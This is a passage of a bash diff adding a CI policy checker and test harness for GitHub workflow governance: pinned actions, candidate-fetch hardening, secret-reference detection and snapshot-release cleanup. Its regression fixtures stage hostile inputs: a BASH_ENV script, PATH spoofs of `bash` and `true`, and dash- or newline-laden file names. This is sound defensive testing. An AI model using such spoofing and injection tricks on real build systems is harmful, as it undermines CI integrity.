-n 64 \ + "${trusted_scan_env_binary}" -i LC_ALL=C BASH_ENV=/dev/null ENV=/dev/null \ + "${trusted_scan_bash_binary}" --noprofile --norc -c ' + grep_argument_count="$1" + marker="$2" + grep_binary="$3" + shift 3 + if [[ "$#" -eq "${grep_argument_count}" ]]; then + exit 0 + fi + status=0 + LC_ALL=C "${grep_binary}" "$@" || status=$? + case "${status}" in + 0) + if ! printf "1\n" >"${marker}"; then + echo "failed to record grep match" >&2 + exit 2 + fi + ;; + 1) ;; + *) exit "${status}" ;; + esac + ' _ "${grep_argument_count}" "${marker}" "${grep_binary}" "$@" + )" || pipeline_status=$? + if [[ -s "${marker}" ]]; then + match_status=0 + fi + if ! rm -f -- "${marker}"; then + echo "failed to remove ${label} scan marker" >&2 + return 2 + fi + if [[ -n "${output}" ]]; then + printf '%s\n' "${output}" + fi + if [[ "${pipeline_status}" -ne 0 ]]; then + echo "failed to scan ${label}" >&2 + if [[ "${pipeline_status}" -eq 1 ]]; then + return 2 + fi + return "${pipeline_status}" + fi + return "${match_status}" +} +grep_workflow_files_at() { + local workflow_repo_root="$1" + shift + grep_find_batches \ + "top-level public workflow files" \ + "${workflow_repo_root}/.github/workflows" \ + find_top_level_yml_yaml \ + "$@" +} +grep_workflow_files() { + grep_workflow_files_at "${repo_root}" "$@" +} +workflow_match_count_at() { + local workflow_repo_root="$1" + local pattern="$2" + local matches + local status=0 + matches="$(grep_find_batches \ + "top-level public workflow .yml files" \ + "${workflow_repo_root}/.github/workflows" \ + find_top_level_yml \ + -Eoh -- "${pattern}")" || status=$? + if [[ "${status}" -gt 1 ]]; then + return "${status}" + fi + if [[ -z "${matches}" ]]; then + printf '0\n' + else + printf '%s\n' "${matches}" | wc -l | tr -d ' ' + fi +} +workflow_match_count() { + workflow_match_count_at "${repo_root}" "$1" +} +if [[ "$(grep -Fc -- 'uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5' "${governance_workflow}")" -ne 1 ]]; then + echo "public policy must check out only the trusted base" >&2 + exit 1 +fi +for required_candidate_fetch in \ + 'Fetch candidate as inert data' \ + 'CANDIDATE_REPOSITORY:' \ + 'CANDIDATE_SHA:' \ + 'GIT_ASKPASS: /bin/false' \ + 'GIT_CONFIG_GLOBAL: /dev/null' \ + 'GIT_CONFIG_NOSYSTEM: 1' \ + 'GIT_TERMINAL_PROMPT: 0' \ + 'origin="https://github.com/${CANDIDATE_REPOSITORY}.git"' \ + 'credential.helper=' \ + 'core.askPass=/bin/false' \ + 'credential.interactive=never' \ + 'http.https://github.com/.extraheader=' \ + "git -C candidate-source ls-tree -r --format='%(objectmode)' FETCH_HEAD > candidate-tree-modes" \ + 'git -C candidate-source archive --worktree-attributes --format=tar FETCH_HEAD > candidate.tar' \ + 'LC_ALL=C tar -tvf candidate.tar > candidate.tar.list' \ + 'candidate archive contains a forbidden entry type' \ + 'tar --extract --file=candidate.tar --directory=candidate --no-same-owner --no-same-permissions' \ + 'find candidate -type l -print -quit'; do + grep -Fq -- "${required_candidate_fetch}" "${governance_workflow}" +done +tree_mode_line="$(grep -nF -- "git -C candidate-source ls-tree -r --format='%(objectmode)' FETCH_HEAD > candidate-tree-modes" "${governance_workflow}" | cut -d: -f1)" +archive_line="$(grep -nF -- 'git -C candidate-source archive --worktree-attributes --format=tar FETCH_HEAD > candidate.tar' "${governance_workflow}" | cut -d: -f1)" +archive_list_line="$(grep -nF -- 'LC_ALL=C tar -tvf candidate.tar > candidate.tar.list' "${governance_workflow}" | cut -d: -f1)" +archive_extract_line="$(grep -nF -- 'tar --extract --file=candidate.tar --directory=candidate --no-same-owner --no-same-permissions' "${governance_workflow}" | cut -d: -f1)" +post_extract_scan_line="$(grep -nF -- 'find candidate -type l -print -quit' "${governance_workflow}" | cut -d: -f1)" +if [[ ! "${tree_mode_line}" -lt "${archive_line}" || + ! "${archive_line}" -lt "${archive_list_line}" || + ! "${archive_list_line}" -lt "${archive_extract_line}" || + ! "${archive_extract_line}" -lt "${post_extract_scan_line}" ]] || + grep -Fq -- 'archive --worktree-attributes --format=tar FETCH_HEAD |' "${governance_workflow}"; then + echo "candidate archive validation must precede extraction of the same bytes" >&2 + exit 1 +fi +if grep_files_fail_closed "candidate governance workflow" -En -- \ + 'Check out candidate|path: candidate|persist-credentials: true|git (checkout|switch|worktree)' \ + "${governance_workflow}"; then + echo "candidate policy input can enter an executable checkout" >&2 + exit 1 +fi +grep -Fq -- "github.event.before" "${governance_workflow}" +grep -Fq -- "This one-time push executes newly merged main, never PR-head data." "${governance_workflow}" +grep -Fq -- "9c364dd4e6dad83808f8a87c1ba990d0132f0372" "${governance_workflow}" +grep -Fq -- '--bootstrap-authority' "${governance_workflow}" +if grep -Fq -- "9c364dd4e6dad83808f8a87c1ba990d0132f0371" "${governance_workflow}" || \ + grep -Fq -- "github.event.before != '0000000000000000000000000000000000000000'" "${governance_workflow}"; then + echo "bootstrap workflow permits a non-exact prior SHA" >&2 + exit 1 +fi +require_text() { + local label="$1" + local expected="$2" + local file="$3" + if ! grep -Fq -- "${expected}" "${file}"; then + echo "missing ${label}: ${expected}" >&2 + exit 1 + fi +} +grep -Fq -- "branches: [main]" "${governance_workflow}" +require_text "pull_request_target edited trigger" \ + "types: [opened, synchronize, reopened, ready_for_review, edited]" "${governance_workflow}" +require_text "semantic godo provider gate" \ + "go test -mod=readonly ./module -run '^TestNoDigitalOceanGodoReferences$' -count=1" \ + "${ci_workflow}" +if grep -Fq -- 'digitalocean/godo' "${ci_workflow}"; then + echo "godo provider gate still uses text matching instead of the semantic test" >&2 + exit 1 +fi +require_text "immutable benchstat install" \ + "go install golang.org/x/perf/cmd/benchstat@v0.0.0-20260709024250-82a0b07e230d" "${benchmark_workflow}" +require_text "snapshot cleanup step" 'name: Clean up old snapshot releases' "${prerelease_workflow}" +if grep -Fq -- 'gh release delete "$tag" --yes --cleanup-tag || true' "${prerelease_workflow}"; then + echo "snapshot cleanup still swallows release deletion failures" >&2 + exit 1 +fi +grep -Fq -- 'required_check="Public Workflow Policy / policy"' "${protection_verifier}" +grep -Fq -- 'required_approving_review_count >= 1' "${protection_verifier}" +grep -Fq -- 'dismiss_stale_reviews' "${protection_verifier}" +grep -Fq -- 'bypass_pull_request_allowances.users' "${protection_verifier}" +grep -Fq -- 'conditions.ref_name.exclude' "${protection_verifier}" +grep -Fq -- 'required_status_checks.strict == true' "${protection_verifier}" +grep -Fq -- 'strict_required_status_checks_policy == true' "${protection_verifier}" +grep -Fq -- 'refs/tags/v*' "${protection_verifier}" +grep -Fq -- '.type == "creation"' "${protection_verifier}" +grep -Fq -- '.type == "update"' "${protection_verifier}" +grep -Fq -- '.type == "deletion"' "${protection_verifier}" +grep -Fq -- '.actor_type == "OrganizationAdmin"' "${protection_verifier}" +grep -Fq -- 'git fetch --no-tags origin refs/heads/main:refs/remotes/origin/main' "${repo_root}/.github/workflows/release.yml" +grep -Fq -- 'git merge-base --is-ancestor "$GITHUB_SHA" refs/remotes/origin/main' "${repo_root}/.github/workflows/release.yml" +if grep_workflow_files -EnH -- \ + 'repo_dispatch_token|notify-workflow-registry|peter-evans/repository-dispatch|secrets\.|secrets\[' \ + || grep_files_fail_closed "public workflow allowlists" -EnH -- \ + 'repo_dispatch_token|notify-workflow-registry|peter-evans/repository-dispatch' \ + "${repo_root}/.github/public-workflow-secret-allowlist.json" \ + "${repo_root}/.github/public-workflow-action-allowlist.json"; then + echo "public workflows retain named-secret or publisher-side registry authority" >&2 + exit 1 +fi +if grep_workflow_files -EnH -- '^[ ]{4}uses:[[:space:]]'; then + echo "public workflows retain a forbidden reusable-workflow job" >&2 + exit 1 +fi +jq -e 'length == 0' "${repo_root}/.github/public-workflow-secret-allowlist.json" >/dev/null +authority_manifest="${repo_root}/.github/public-workflow-authority.json" +jq -e ' + .version == 1 and + ([.bundles[] | select(.state == "active")] | length) == 1 and + ([.bundles[] | select(.state == "staged")] | length) <= 1 and + all(.bundles[]; (.files | length) > 0) +' "${authority_manifest}" >/dev/null +npm_ci_count="$(workflow_match_count 'npm ci')" +npm_token_count="$(workflow_match_count 'NODE_AUTH_TOKEN: \$\{\{ github.token \}\}')" +if [[ "${npm_ci_count}" != "${npm_token_count}" ]]; then + echo "every npm ci step must receive the automatic GitHub Packages token" >&2 + exit 1 +fi +if grep_files_fail_closed "candidate governance workflow" -F -- \ + 'verify-public-workflow-branch-protection.sh' "${governance_workflow}"; then + echo "public policy workflow cannot inspect privileged repository governance" >&2 + exit 1 +fi +osv_image='docker://ghcr.io/google/osv-scanner-action@sha256:48406c58197201fe55e56615ad9d414f85063da320e204d0b0ed460fb3908dba' +if [[ "$(grep -Fc -- "uses: ${osv_image}" "${osv_workflow}")" -ne 5 ]] || + [[ "$(grep -Fc -- 'entrypoint: /root/osv-reporter' "${osv_workflow}")" -ne 2 ]] || + [[ "$(grep -Fc -- 'security-events: write' "${osv_workflow}")" -ne 2 ]] || + [[ "$(grep -Fc -- 'github/codeql-action/upload-sarif@8aad20d150bbac5944a9f9d289da16a4b0d87c1e' "${osv_workflow}")" -ne 2 ]]; then + echo "OSV workflow lost digest-pinned scanner/reporter or job-scoped SARIF behavior" >&2 + exit 1 +fi +for differential_arg in '--old=old-results.json' '--new=new-results.json' '--output-files=sarif:results.sarif,gh-annotations:#stderr' '--fail-on-vuln=true'; do + grep -Fq -- "${differential_arg}" "${osv_workflow}" +done +for baseline_selector in 'github.event.pull_request.base.sha' 'github.event.merge_group.base_sha'; do + grep -Fq -- "${baseline_selector}" "${osv_workflow}" +done +if grep -Fq -- 'GITHUB_BASE_REF' "${osv_workflow}"; then + echo "OSV merge-group baseline still depends on pull-request-only GITHUB_BASE_REF" >&2 + exit 1 +fi +if [[ "$(grep -Ec -- '^[[:space:]]+contents:[[:space:]]+write[[:space:]]*$' "${dependency_workflow}")" -ne 1 ]] || + [[ "$(grep -Ec -- '^[[:space:]]+pull-requests:[[:space:]]+write[[:space:]]*$' "${dependency_workflow}")" -ne 1 ]]; then + echo "dependency updater lacks job-scoped branch and pull-request authority" >&2 + exit 1 +fi +grep -Fq -- 'Workflow authority changes use three pull requests' "${repo_root}/docs/public-workflow-policy.md" +grep -Fq -- 'separate three-pull-request authority bundle' "${repo_root}/docs/public-workflow-policy.md" + +for forbidden_path in \ + .github/workflows/conformance-smoke.yml \ + .github/workflows/conformance-budget-check.yml \ + .github/workflows/conformance-leak-scrubber.yml \ + .github/conformance/cleanup.yaml \ + .github/workflows/scripts/file-or-comment-leak-issue.sh \ + docs/conformance-runbook.md \ + .github/workflows/test-dispatch.yml \ + .github/workflows/create-release.yml; do + if [[ -e "${repo_root}/${forbidden_path}" ]]; then + echo "forbidden public-provider authority remains: ${forbidden_path}" >&2 + exit 1 + fi + jq -e --arg path "${forbidden_path}" \ + 'any(.[]; .path == $path and .state == "active" and .presence == "absent" and (.contextSHA256 | not))' \ + "${repo_root}/.github/public-workflow-presence-allowlist.json" >/dev/null +done + +temp_parent="$(cd "${TMPDIR:-/tmp}" && pwd -P)" +case "${temp_parent}" in + "${production_repo_root}"|"${production_repo_root}"/*) + echo "TMPDIR must be outside the production repository" >&2 + exit 1 + ;; +esac +sandbox_root="$(mktemp -d "${temp_parent%/}/workflow-policy-test.XXXXXX")" +archive_copy_root="${sandbox_root}/archive" +tmp_dir="${sandbox_root}/tmp" +mkdir -p "${archive_copy_root}" "${tmp_dir}" +if [[ "$(cd "${sandbox_root}" && pwd -P)" == "${production_repo_root}"/* ]]; then + echo "policy mutation sandbox resolved inside the production repository" >&2 + exit 1 +fi + +archive_repo="${archive_copy_root}/repo" +mkdir -p "${archive_repo}" +archive_paths="${sandbox_root}/archive-paths" +: >"${archive_paths}" +while IFS= read -r -d '' tracked_path; do + if [[ -e "${production_repo_root}/${tracked_path}" ]]; then + printf '%s\0' "${tracked_path}" >>"${archive_paths}" + fi +done < <(git -C "${production_repo_root}" ls-files -z --cached --others --exclude-standard) +tar -C "${production_repo_root}" --null -T "${archive_paths}" -cf - | tar -C "${archive_repo}" -xf - +test ! -e "${archive_repo}/.git" +if git -C "${archive_repo}" rev-parse --show-toplevel >/dev/null 2>&1; then + echo "archive regression fixture remains inside an enclosing Git worktree" >&2 + exit 1 +fi + +repo_root="${archive_repo}" +checker_binary="${repo_root}/scripts/check-public-workflow-policy.sh" +fixtures="${repo_root}/scripts/fixtures/public-workflow-policy" +policytool="${repo_root}/.github/workflows/policytool" +integrity_extra="${policytool}/extra_linux.go" +integrity_vendor="${policytool}/vendor" +integrity_symlink="${policytool}/extra-link.go" +policytool_root_backup="${tmp_dir}/policytool-root-backup" +policytool_root_target="${tmp_dir}/policytool-root-target" +policytool_root_go_probe="${tmp_dir}/policytool-root-go-invoked" +mutation_backup="${tmp_dir}/workflow-backup.yml" +export TMPDIR="${tmp_dir}" +fixture_executables="${tmp_dir}/fixture-executables.json" +printf '[]\n' >"${fixture_executables}" +fixture_commands="${tmp_dir}/fixture-commands.json" +printf '[]\n' >"${fixture_commands}" +fixture_actions="${tmp_dir}/fixture-actions.json" +printf '[]\n' >"${fixture_actions}" +empty_allowlist="${tmp_dir}/empty-allowlist.json" +printf '[]\n' >"${empty_allowlist}" +archive_checker="${archive_repo}/scripts/check-public-workflow-policy.sh" + +snapshot_cleanup_script="${tmp_dir}/snapshot-cleanup.sh" +awk ' + $0 == " - name: Clean up old snapshot releases" { in_step=1; next } + in_step && $0 == " run: |" { in_run=1; next } + in_run && /^ [[:alnum:]_-]+:/ { exit } + in_run { sub(/^ /, ""); print } +' "${prerelease_workflow}" >"${snapshot_cleanup_script}" +if [[ ! -s "${snapshot_cleanup_script}" ]]; then + echo "failed to extract snapshot cleanup workflow run script" >&2 + exit 1 +fi + +snapshot_gh_bin="${tmp_dir}/snapshot-gh-bin" +snapshot_gh_log="${tmp_dir}/snapshot-gh.log" +mkdir -p "${snapshot_gh_bin}" +cat >"${snapshot_gh_bin}/gh" <<'BASH' +#!/usr/bin/env bash +set -euo pipefail +printf '%s\t' "$#" >>"${SNAPSHOT_GH_LOG}" +printf '%q ' "$@" >>"${SNAPSHOT_GH_LOG}" +printf '\n' >>"${SNAPSHOT_GH_LOG}" + +scenario="${SNAPSHOT_CLEANUP_SCENARIO}" +if [[ "$1" == "release" && "$2" == "list" ]]; then + if [[ "${scenario}" == "list-failure" ]]; then + echo "release list failed" >&2 + exit 31 + fi + printf '%s\n' snapshot-test + exit 0 +fi +snapshot_list_jq='.[] | select(.tag_name | startswith("snapshot-")) | [.id, .tag_name, (.tag_name | @uri)] | @tsv' +# The exact five-argument shape also asserts gh's default GET method: a +# method override would add arguments and must not enter the list fake. +if [[ "$#" -eq 5 && "$1" == "api" && "$2" == "--paginate" && + "$3" == "repos/example/workflow/releases?per_page=100" && + "$4" == "--jq" && "$5" == "${snapshot_list_jq}" ]]; then + if [[ "${scenario}" == "list-failure" ]]; then + echo "release list failed" >&2 + exit 31 + fi + case "${scenario}" in + special-hash) printf '123\tsnapshot-foo#bar\tsnapshot-foo%%23bar\n' ;; + special-percent) printf '123\tsnapshot-foo%%bar\tsnapshot-foo%%25bar\n' ;; + special-slash) printf '123\tsnapshot-foo/bar\tsnapshot-foo%%2Fbar\n' ;; + multiple) printf '123\tsnapshot-one\tsnapshot-one\n456\tsnapshot-two\tsnapshot-two\n' ;; + malformed-nondigit-id) printf 'abc\tsnapshot-test\tsnapshot-test\n' ;; + malformed-empty-id) printf '\tsnapshot-test\tsnapshot-test\n' ;; + malformed-empty-tag) printf '123\t\t\n' ;; + malformed-extra-column) printf '123\tsnapshot-test\tsnapshot-test\textra\n' ;; + malformed-after-valid) printf '123\tsnapshot-test\tsnapshot-test\nabc\tsnapshot-bad\tsnapshot-bad\n' ;; + *) printf '123\tsnapshot-test\tsnapshot-test\n' ;; + esac + exit 0 +fi + +resource="" +if [[ "$1" == "release" && "$2" == "delete" ]]; then + resource="release" +elif [[ "$#" -eq 5 && "$1" == "api" && "$2" == "--include" && + "$3" == "--method" && "$4" == "DELETE" ]]; then + endpoint="$5" + case "${endpoint}" in + repos/example/workflow/releases/123 | repos/example/workflow/releases/456) + resource="release" + ;; + repos/example/workflow/git/refs/tags/snapshot-test) + resource="tag" + ;; + repos/example/workflow/git/refs/tags/snapshot-one) + resource="tag" + ;; + repos/example/workflow/git/refs/tags/snapshot-two) + resource="tag" + ;; + repos/example/workflow/git/refs/tags/snapshot-foo%23bar) + resource="tag" + ;; + repos/example/workflow/git/refs/tags/snapshot-foo%25bar) + resource="tag" + ;; + repos/example/workflow/git/refs/tags/snapshot-foo%2Fbar) + resource="tag" + ;; + *) echo "unexpected snapshot DELETE endpoint: ${endpoint}" >&2; exit 32 ;; + esac +else + echo "unexpected snapshot gh invocation: $*" >&2 + exit 33 +fi + +mode="success" +case "${scenario}" in + "${resource}-401") mode="401" ;; + "${resource}-404") mode="404" ;; + "${resource}-403") mode="403" ;; + "${resource}-429") mode="429" ;; + "${resource}-500") mode="500" ;; + "${resource}-missing-status") mode="missing-status" ;; + "${resource}-malformed-status") mode="malformed-status" ;; +esac +case "${mode}" in + success) + printf 'HTTP/2.0 204 No Content\r\nX-Test: spaces and\ttabs\r\n\r\n' + exit 0 + ;; + 404) + printf 'HTTP/2.0 404 Not Found\r\nX-Test: spaces and\ttabs\r\n\r\n' + exit 22 + ;; + 401) + printf 'HTTP/2.0 401 Unauthorized\r\nX-Test: spaces and\ttabs\r\n\r\n' + exit 22 + ;; + 403) + printf 'HTTP/2.0 403 Forbidden\r\nX-Test: spaces and\ttabs\r\n\r\n' + exit 22 + ;; + 429) + printf 'HTTP/2.0 429 Too Many Requests\r\nX-Test: spaces and\ttabs\r\n\r\n' + exit 22 + ;; + 500) + printf 'HTTP/2.0 500 Server Error\r\nX-Test: spaces and\ttabs\r\n\r\n' + exit 22 + ;; + missing-status) + printf 'response without an HTTP status\n' + exit 22 + ;; + malformed-status) + printf 'HTTP/2.0 nope Not Found\r\n' + exit 22 + ;; +esac +BASH +chmod +x "${snapshot_gh_bin}/gh" + +run_snapshot_cleanup() { + local scenario="$1" + local output="${tmp_dir}/snapshot-cleanup-${scenario}.out" + : >"${snapshot_gh_log}" + set +e + env \ + PATH="${snapshot_gh_bin}:$PATH" \ + GITHUB_REPOSITORY=example/workflow \ + LANG=C \ + LC_ALL=C \ + SNAPSHOT_CLEANUP_SCENARIO="${scenario}" \ + SNAPSHOT_GH_LOG="${snapshot_gh_log}" \ + bash -euo pipefail "${snapshot_cleanup_script}" >"${output}" 2>&1 + snapshot_cleanup_status=$? + set -e +} + +assert_snapshot_cleanup_status() { + local scenario="$1" + local expectation="$2" + run_snapshot_cleanup "${scenario}" + if [[ "${expectation}" == "pass" && "${snapshot_cleanup_status}" -ne 0 ]]; then + echo "snapshot cleanup scenario ${scenario} failed, want pass" >&2 + cat "${tmp_dir}/snapshot-cleanup-${scenario}.out" >&2 + exit 1 + fi + if [[ "${expectation}" == "fail" && "${snapshot_cleanup_status}" -eq 0 ]]; then + echo "snapshot cleanup scenario ${scenario} passed, want fail" >&2 + exit 1 + fi +} + +snapshot_delete_log_line() { + local endpoint="$1" + printf '5\tapi --include --method DELETE %s ' "${endpoint}" +} + +assert_snapshot_delete_call() { + local endpoint="$1" + local expected_count="${2:-1}" + local expected + local actual_count + expected="$(snapshot_delete_log_line "${endpoint}")" + actual_count="$(grep -Fxc -- "${expected}" "${snapshot_gh_log}" || true)" + if [[ "${actual_count}" -ne "${expected_count}" ]]; then + echo "snapshot cleanup DELETE call mismatch for ${endpoint}: got ${actual_count}, want ${expected_count}" >&2 + cat "${snapshot_gh_log}" >&2 + exit 1 + fi +} + +assert_no_snapshot_delete_calls() { + if grep -Fq -- ' DELETE ' "${snapshot_gh_log}" || + grep -Fq -- $'\trelease delete ' "${snapshot_gh_log}"; then + echo "malformed snapshot release row reached DELETE" >&2 + cat "${snapshot_gh_log}" >&2 + exit 1 + fi +} + +assert_snapshot_cleanup_status success pass +assert_snapshot_delete_call 'repos/example/workflow/releases/123' +assert_snapshot_delete_call 'repos/example/workflow/git/refs/tags/snapshot-test' +assert_snapshot_cleanup_status release-404 pass +assert_snapshot_delete_call 'repos/example/workflow/releases/123' +assert_snapshot_delete_call 'repos/example/workflow/git/refs/tags/snapshot-test' +for fatal_release_case in \ + release-401 release-403 release-429 release-500 \ + release-missing-status release-malformed-status; do + assert_snapshot_cleanup_status "${fatal_release_case}" fail +done +for fatal_release_status in 401 403 429 500; do + if ! grep -Fqx -- \ + "snapshot release snapshot-test deletion failed with HTTP ${fatal_release_status}" \ + "${tmp_dir}/snapshot-cleanup-release-${fatal_release_status}.out"; then + echo "snapshot release ${fatal_release_status} diagnostic mismatch" >&2 + cat "${tmp_dir}/snapshot-cleanup-release-${fatal_release_status}.out" >&2 + exit 1 + fi +done +assert_snapshot_cleanup_status list-failure fail +assert_snapshot_cleanup_status tag-404 pass +for fatal_tag_case in \ + tag-401 tag-403 tag-429 tag-500 tag-missing-status tag-malformed-status; do + assert_snapshot_cleanup_status "${fatal_tag_case}" fail +done +for fatal_tag_status in 401 403 429 500; do + if ! grep -Fqx -- \ + "snapshot tag snapshot-test deletion failed with HTTP ${fatal_tag_status}" \ + "${tmp_dir}/snapshot-cleanup-tag-${fatal_tag_status}.out"; then + echo "snapshot tag ${fatal_tag_status} diagnostic mismatch" >&2 + cat "${tmp_dir}/snapshot-cleanup-tag-${fatal_tag_status}.out" >&2 + exit 1 + fi +done + +for malformed_list_case in \ + malformed-nondigit-id malformed-empty-id malformed-empty-tag \ + malformed-extra-column malformed-after-valid; do + assert_snapshot_cleanup_status "${malformed_list_case}" fail + if ! grep -Fqx -- 'snapshot release listing returned malformed data' \ + "${tmp_dir}/snapshot-cleanup-${malformed_list_case}.out"; then + echo "${malformed_list_case} diagnostic mismatch" >&2 + cat "${tmp_dir}/snapshot-cleanup-${malformed_list_case}.out" >&2 + exit 1 + fi + assert_no_snapshot_delete_calls +done + +assert_snapshot_cleanup_status multiple pass +assert_snapshot_delete_call 'repos/example/workflow/releases/123' +assert_snapshot_delete_call 'repos/example/workflow/git/refs/tags/snapshot-one' +assert_snapshot_delete_call 'repos/example/workflow/releases/456' +assert_snapshot_delete_call 'repos/example/workflow/git/refs/tags/snapshot-two' + +special_tag_failures=0 +for special_tag_case in special-hash special-percent special-slash; do + run_snapshot_cleanup "${special_tag_case}" + if [[ "${snapshot_cleanup_status}" -ne 0 ]]; then + echo "snapshot cleanup scenario ${special_tag_case} failed, want pass" >&2 + cat "${tmp_dir}/snapshot-cleanup-${special_tag_case}.out" >&2 + special_tag_failures=1 + continue + fi + case "${special_tag_case}" in + special-hash) encoded_special_tag='snapshot-foo%23bar' ;; + special-percent) encoded_special_tag='snapshot-foo%25bar' ;; + special-slash) encoded_special_tag='snapshot-foo%2Fbar' ;; + esac + assert_snapshot_delete_call 'repos/example/workflow/releases/123' + assert_snapshot_delete_call \ + "repos/example/workflow/git/refs/tags/${encoded_special_tag}" +done +if [[ "${special_tag_failures}" -ne 0 ]]; then + exit 1 +fi + +legacy_go_patch='1.26.' +legacy_go_patch+='4' +scan_active_go_pins_at() { + local active_repo_root="$1" + grep_find_batches \ + "active/current Go pin scan" \ + "${active_repo_root}" \ + find_active_go_pin_files \ + -anHF -- "${legacy_go_patch}" +} +scan_active_go_pins() { + scan_active_go_pins_at "${repo_root}" +} + +run_portable_scan_regressions() ( + local fixture_parent="${tmp_dir}/portable-scan[?*] fixtures" + local workflow_root="${fixture_parent}/workflow repo" + local workflow_dir="${workflow_root}/.github/workflows" + local empty_workflow_root="${fixture_parent}/empty workflow repo" + local actual_root="${fixture_parent}/actual repo" + local batch_root="${fixture_parent}/batch repo" + local fake_bin="${fixture_parent}/fake-bin" + local output + local status + local saved_shopt + local saved_globignore_set=0 + local saved_globignore="" + local file_index + local filename + local invocation_count + local expected_invocations + local ambient_true + local fake_grep_shebang + local bash_spoof_bin + local find_failure_bin + local grep_proxy_bin + local grep_failure_bin + local hostile_bash_env="${fixture_parent}/hostile-bash-env.sh" + local plans_file_root="${fixture_parent}/plans-file repo" + local true_proxy_bin="${fixture_parent}/true-bin" + local true_spoof_bin="${fixture_parent}/true-spoof-bin" + local worker_error_output + local worker_error_status + local worker_match_output + local worker_match_status + local xargs_failure_bin + local real_grep + local real_true + local restored_shopt + + if ! real_grep="$(resolve_scan_executable grep)"; then + echo "failed to resolve grep for portable scan regressions" >&2 + exit 1 + fi + mkdir -p \ + "${workflow_dir}/nested" \ + "${actual_root}/.hidden" \ + "${actual_root}/nested/docs/plans" \ + "${actual_root}/docs/plans" \ + "${actual_root}/docs/plans2" \ + "${actual_root}/git-dir/.git" \ + "${actual_root}/git-file" \ + "${actual_root}/git-link" \ + "${fixture_parent}/outside-git" \ + "${batch_root}" \ + "${fake_bin}" \ + "${plans_file_root}/docs" \ + "${true_proxy_bin}" \ + "${true_spoof_bin}" + + ln -s "${trusted_scan_bash_binary}" "${true_spoof_bin}/true" + if ! ambient_true="$( + PATH="${true_spoof_bin}:${PATH}" resolve_scan_executable true + )"; then + echo "failed to resolve hostile ambient PATH true" >&2 + exit 1 + fi + if [[ "${ambient_true}" != "${true_spoof_bin}/true" ]]; then + echo "ambient PATH true spoof was not selected by ambient resolution" >&2 + printf 'resolved_ambient_true=%s\n' "${ambient_true}" >&2 + exit 1 + fi + if [[ -z "${trusted_scan_true_binary}" ]]; then + echo "failed to select trusted true for ambient PATH bash spoof" >&2 + exit 1 + fi + real_true="${trusted_scan_true_binary}" + + ln -s "${real_true}" "${true_proxy_bin}/true" + if ! real_true="$( + cd -- "${fixture_parent}" + PATH="true-bin:${PATH}" resolve_scan_executable true + )"; then + echo "failed to resolve relative PATH true for ambient PATH bash spoof" >&2 + exit 1 + fi + if [[ "${real_true}" != "${true_proxy_bin}/true" || ! -x "${real_true}" ]]; then + echo "relative PATH true was not canonicalized for ambient PATH bash spoof" >&2 + exit 1 + fi + + printf 'PORTABILITY_MARKER\nnpm ci\nNODE_AUTH_TOKEN: ${{ github.token }}\n' >"${workflow_dir}/visible.yml" + printf 'PORTABILITY_MARKER\n' >"${workflow_dir}/.hidden.yaml" + printf 'PORTABILITY_MARKER\n' >"${workflow_dir}/space name.yml" + printf 'PORTABILITY_MARKER\n' >"${workflow_dir}/-dash.yml" + printf 'PORTABILITY_MARKER\n' >"${workflow_dir}/"$'line\nbreak.yaml' + printf 'PORTABILITY_MARKER\n' >"${workflow_dir}/UPPER.YML" + printf 'PORTABILITY_MARKER\n' >"${workflow_dir}/nested/subdir.yml" + printf 'npm ci\n' >"${workflow_dir}/yaml-count-must-not-apply.yaml" + ln -s visible.yml "${workflow_dir}/linked.yml" + + GLOBIGNORE='caller-state' + shopt -u dotglob + saved_shopt="$(shopt -p failglob nocaseglob dotglob nullglob || true)" + if [[ ${GLOBIGNORE+x} ]]; then + saved_globignore_set=1 + saved_globignore="${GLOBIGNORE}" + fi + shopt -s failglob nocaseglob dotglob nullglob + GLOBIGNORE='visible.yml:space name.yml' + set +e + output="$(grep_workflow_files_at "${workflow_root}" -FnH -- 'PORTABILITY_MARKER' 2>&1)" + status=$? + set -e + if [[ "${saved_globignore_set}" -eq 1 ]]; then + GLOBIGNORE="${saved_globignore}" + else + unset GLOBIGNORE + fi + eval "${saved_shopt}" + restored_shopt="$(shopt -p failglob nocaseglob dotglob nullglob || true)" + if [[ "${restored_shopt}" != "${saved_shopt}" ]] || + [[ ! ${GLOBIGNORE+x} || "${GLOBIGNORE}" != "${saved_globignore}" ]]; then + echo "portable workflow scan did not restore caller shell state" >&2 + exit 1 + fi + if [[ "${status}" -ne 0 ]] || + [[ "${output}" != *'./visible.yml:1:PORTABILITY_MARKER'* ]] || + [[ "${output}" != *'./.hidden.yaml:1:PORTABILITY_MARKER'* ]] || + [[ "${output}" != *'./space name.yml:1:PORTABILITY_MARKER'* ]] || + [[ "${output}" != *'./-dash.yml:1:PORTABILITY_MARKER'* ]] || + [[ "${output}" != *$'./line\nbreak.yaml:1:PORTABILITY_MARKER'* ]] || + [[ "${output}" == *'UPPER.YML'* ]] || + [[ "${output}" == *'subdir.yml'* ]] || + [[ "${output}" == *'linked.yml'* ]]; then + echo "top-level workflow scan is not literal, shell-state-independent, or pathname-safe" >&2 + printf '%s\n' "${output}" >&2 + exit 1 + fi + mkdir -p "${workflow_dir}/unsafe-tmp" + set +e + output="$( + TMPDIR="${workflow_dir}/unsafe-tmp" \ + grep_workflow_files_at "${workflow_root}" -FnH -- 'PORTABILITY_MARKER' 2>&1 + )" + status=$? + set -e + if [[ "${status}" -le 1 ]] || + [[ "${output}" != *'refusing scan marker inside a protected root'* ]]; then + echo "workflow scan allowed its temporary marker inside the scanned repository" >&2 + exit 1 + fi + printf 'exit 0\n' >"${hostile_bash_env}" + set +e + output="$( + BASH_ENV="${hostile_bash_env}" \ + grep_workflow_files_at "${workflow_root}" -FnH -- 'PORTABILITY_MARKER' 2>&1 + )" + status=$? + set -e + if [[ "${status}" -ne 0 ]] || + [[ "${output}" != *'./visible.yml:1:PORTABILITY_MARKER'* ]]; then + echo "ambient BASH_ENV bypassed a workflow grep batch" >&2 + exit 1 + fi + bash_spoof_bin="${fixture_parent}/bash-spoof-bin" + mkdir -p "${bash_spoof_bin}" + ln -s "${real_true}" "${bash_spoof_bin}/bash" + if [[ ! -x "${bash_spoof_bin}/bash" ]]; then + echo "failed to prepare ambient PATH bash spoof" >&2 + exit 1 + fi + set +e + output="$( + PATH="${bash_spoof_bin}:${PATH}" \ + grep_workflow_files_at "${workflow_root}" -FnH -- 'PORTABILITY_MARKER' 2>&1 + )" + status=$? + set -e + if [[ "${status}" -ne 0 ]] || + [[ "${output}" != 